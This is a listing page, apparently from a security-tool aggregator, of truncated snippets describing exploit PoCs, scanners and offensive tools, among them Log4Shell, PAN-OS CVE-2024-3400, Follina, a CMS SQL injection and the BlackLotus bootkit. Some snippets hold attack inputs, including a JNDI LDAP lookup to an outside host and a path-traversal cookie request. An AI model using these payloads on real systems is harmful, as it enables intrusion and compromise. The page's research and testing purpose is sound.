bifrost

Bifrost \ /' | | | , | '| || , '/'\ /',| | | | || | | | , | | /' /'/ root@kitploit: Usage: ./bifrost -action dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove For dump action: -source tickets | keytab for keytab, optional -path to specify a keytab for tickets, optional -name...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS命令注入 发送以下HTTP请求： root@kitploit: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type: application/x-www-form-urlencoded Content-Lengt...

log4shell-demo

易受Log4Shell CVE-2021-44228攻击的简单Spring Boot应用程序 已将默认日志框架从logback更改为log4j2 应用程序记录'User-Agent'头部，因此可以使用curl和例如interactsh-service来测试漏洞： root@kitploit: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ 在app.interactsh.com上应能看到DNS交互。 Docker Hub 链接到Docker Hub...

hsecscan

hsecscan 一个用于HTTP响应头的安全扫描器。 要求 Python 2.x Python 模块 os.path argparse sqlite3 urlparse urllib2 urllib json ssl 安装 root@kitploit: $ pip install hsecscan 使用 root@kitploit: $ hsecscan usage: hsecscan.py -h -P -p -H Header -u URL -R -i -U User-Agent -D DBFILE -d 'POST data' -x PROXY -a A security...

Exploit for CVE-2026-87902

CVE-2026-87902 - WordPress Core Unauthenticated LFI → RCE Vali...

CobaltStrikeParser

CobaltStrikeParser 用于解析 CobaltStrike Beacon 配置的 Python 解析器 描述 使用 parsebeaconconfig.py 解析无阶段 beacon、内存转储或 C2 URL，默认启用 Metasploit 兼容模式（默认 true）。 许多无阶段 beacon 是 PE 文件，其中 beacon 代码本身存储在 .data 段中，并通过 4 字节密钥进行异或加密。 该脚本尝试启发式地查找异或密钥和数据，解密数据并从中解析配置。 此设计也支持作为库使用。 该仓库现在还包括一个小的通信模块（comm.py），可以帮助作为 beacon 与 C...

React-site-CVE-2025-55182

React Site - CVE-2025-55182 README: Уязвимый Next.js проект React RSC лендинг Это репозиторий с примером многостраничного корпоративного лендинга на Next.js 15.0.0 + React 19.0.0. Сайт имитирует структуру вроде t1.ru: главная, продукты, кейсы, медиа, о компании, контакты. Используем React Server...

CVE-2019-9053-POC

CMS Made Simple ⚠️ 免责声明： 此脚本仅供教育和授权测试 使用。请勿将其用于你不拥有或未获得明确测试许可的系统。作者和贡献者不对因使用本工具造成的任何滥用或损害负责。 🎯 这是什么？ 这是一个 Python 3 利用脚本，针对版本低于 2.2.10 的 CMS Made Simple 中的未认证 SQL 注入漏洞 。它利用基于时间的盲 SQL 注入自动从易受攻击的 CMS 实例中提取敏感信息（盐值、用户名、邮箱、密码哈希）。 🕹️ 功能 提取管理员盐值、用户名、邮箱和密码哈希 可选使用提供的字典文件进行密码破解 色彩丰富、交互式的终端输出 完全兼容 Python 3 📚...

CVE-2025-55575

smm-panel-sqliCVE-2025-55575 基于时间的SMM面板SQL注入检测 概述 该模板通过 HTTP POST 请求向 /ajaxdata 发送数据，检测 SMM 面板中 servicedetail 参数是否存在基于时间的 SQL 注入 漏洞。利用该漏洞，远程攻击者可以访问敏感数据或提升权限。 作者： Aether 严重性： Critical 标签： sqli, mysql, timing, dork:'intitle:"1 SMM Panel "' "smm panel" 参考：...

CVE-2019-5475

CVE-2019-5475 CVE-2019-5475 与 CVE-2019-15588 靶场: RCE 命令注入漏洞 0x00 背景 CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞，其最早被披露于 hackerone，但因官方第一次修复不完整，故又衍生出了 CVE-2019-15588 漏洞。 这两个漏洞都需要以 admin 身份登录后才可以利用，但是 nexus 默认管理员密码 admin123 经常被忽略修改，很容易就被利用了。 0x10 靶场环境 0x20 目录结构 root@kitploit:...

patch-openssl-CVE-2014-0160

patch-openssl-CVE-2014-0160 使用 Ansible 修补 openssl heartbleed（心脏出血漏洞） 使用方法： root@kitploit: pip install ansible ansible-playbook -i yourinventoryfile patch-openssl-CVE-2014-0160.yml yourinventoryfile 只需包含你的服务器列表： root@kitploit: 192.168.0.10 webserver1.example.com webserver2.example.com...

BlackLotus

BlackLotus BlackLotus 是一款专为 Windows 设计的创新 UEFI Bootkit。它内置了安全启动绕过以及 Ring0/内核保护功能，以防止任何删除尝试。该软件用作 HTTP 加载器。凭借其强大的持久性，无需频繁使用新加密方法更新 Agent。一旦部署，传统防病毒软件将无法扫描和清除它。该软件包含两个主要组件：安装在目标设备上的 Agent，以及管理员用于管理僵尸主机的 Web 界面。在此上下文中，僵尸主机指安装了 Agent 的设备。 仅供参考 ：此版本的 BlackLotus v2 已移除 baton drop，并用 bootlicker 替换了原始版本的...

CVE-2023-44487

CVE-2023-44487 基础漏洞扫描，检测 Web 服务器是否容易受到 CVE-2023-44487 的影响 该工具以完全非侵入性的方式检查网站是否受 CVE-2023-44487 影响。 1. 该工具检查 Web 服务器是否接受 HTTP/2 请求而不降级它们 2. 如果 Web 服务器接受且不降级 HTTP/2 请求，该工具会尝试打开一个连接流并随后重置它 3. 如果 Web 服务器接受创建和重置连接流，则服务器绝对存在漏洞；如果它只接受 HTTP/2 请求但流连接失败，则如果服务器端功能已启用，它可能仍存在漏洞 运行方式： root@kitploit: $ python3 -...

dsiem

Dsiem Dsiem 是一个用于 ELK 栈的安全事件关联引擎，使该平台能够作为专用且功能齐全的 SIEM 系统使用。 Dsiem 为标准化日志/事件提供 OSSIM 风格的关联，对威胁情报和漏洞信息源执行查找/查询，并生成风险调整后的告警。 功能特性 支持独立或集群模式运行，使用 NATS 作为前端和后端节点之间的消息总线。结合 ELK，使整个 SIEM 平台具备水平扩展能力。 OSSIM 风格的关联和指令规则，简化从 OSSIM 的迁移过程。 通过威胁情报和漏洞信息源的数据对告警进行富化。内置支持 Arkime Wise（支持 Alienvault OTX 等）和 Nessus C...

545 Hackers Tested It First. Now XRanges for AI Scores Your Security Agent

Autonomous security agents are getting good at finding bugs. Nobody has a good way to measure how good. Point one at a realistic target and what comes back is a report the agent wrote about itself: confident prose, a list of findings, and no way to tell which of them happened. Someone with a...

kiterunner

Kiterunner 介绍 长期以来，内容发现一直专注于查找文件和文件夹。虽然这种方法对于托管静态文件或在部分路径下返回 3xx 响应的传统 Web 服务器有效，但对于现代 Web 应用程序，尤其是 API，它已不再高效。 随着时间的推移，我们看到了大量时间投入到提高内容发现工具的速度上，以便可以使用更大的字典，但内容发现的艺术本身却没有得到创新。 Kiterunner 不仅能够以极快的速度执行传统内容发现，还能对现代应用程序中的路由/端点进行暴力破解。 现代应用框架（如 Flask、Rails、Express、Django 等）遵循显式定义路由的范式，这些路由期望特定的 HTTP...

CVE-2023-32117

CVE-2023-32117 Integrate Google Drive ","username":"admin","name":"admin","email":"[email protected]","role":"Administrator","folders":,"id":2,"avatar":"img alt='' src="http:///%5C/%5C/2.gravatar.com%5C/avatar%5C/b58996c504c5638798eb6b511e6f49af?s=32&d=mm&r=g"...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC 恶意 docx 生成器，用于利用（Microsoft Office Word 远程代码执行）漏洞 此脚本的创建基于 LockedByte 的 CVE-2021-40444 PoC 和 Tothi 的 writeup 使用 首先修改 backup.html 并替换 powershell payload。目前只是使用 IEX'calc.exe' 弹出一个 calc.exe。 python3 exploit.py generate http:// 生成恶意 docx（将位于 out/）后，你可以启动服务器： sudo...

IP-reputation-snort-rule-generator

IP-reputation-snort-rule-generator 基于公共IP/域名信誉数据生成Snort规则或Cisco IDS签名的工具 由NCC Group Plc以开源形式发布 - http://www.nccgroup.com/ 由Will Alexander开发，will dot alexander at nccgroup dot com https://github.com/nccgroup/IP-reputation-snort-rule-generator 以AGPL协议发布，详见LICENSE文件了解更多信息 用法 ./tepig.pl...

CVE-2025-29927

CVE-2025-29927 Next.js 中间件绕过扫描器 CVE-2025-29927 CVE-2025-29927 是一款专门用于检测 Next.js 中间件绕过漏洞 CVE-2025-29927 的安全工具，该漏洞影响 Next.js 版本 11.1.4 至 15.2.2。这一严重漏洞允许攻击者通过发送特制的 HTTP 头来绕过安全控制。 关于漏洞 Next.js 中间件绕过漏洞 CVE-2025-29927 允许攻击者通过发送恶意 X-Middleware-Subrequest 头来绕过授权控制，该头会混淆中间件处理逻辑。这可能导致对受保护资源和路由的未授权访问。 CVSS...